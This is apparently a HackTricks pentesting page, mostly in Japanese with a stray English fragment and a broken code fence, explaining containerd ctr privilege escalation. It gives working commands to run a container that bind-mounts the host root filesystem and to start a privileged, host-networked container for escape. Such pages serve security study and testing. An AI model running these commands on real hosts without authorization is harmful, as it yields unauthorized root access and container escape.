Containerd (ctr) Privilege Escalation

HackTricksのサポート

基本情報

以下のリンクに移動して、containerdctrが何かを学んでください:

2375, 2376 Pentesting Docker

PE 1

ホストにctrコマンドが含まれていることがわかった場合:

which ctr
/usr/bin/ctr

以下は、ファイル linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md からの翻訳です。

### Listing Images

To list the images, you can use the following command:

```bash
ctr -n k8s.io images ls
```bash
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

そして、ホストのルートフォルダをマウントしてそのイメージの1つを実行します:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

特権付きコンテナを実行し、そこから脱出します。 特権付きコンテナを実行するには次のようにします:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

次のページで言及されているいくつかの技術を使用して、特権付与機能を悪用してそれから脱出することができます:

Docker Security
HackTricksのサポート

Last updated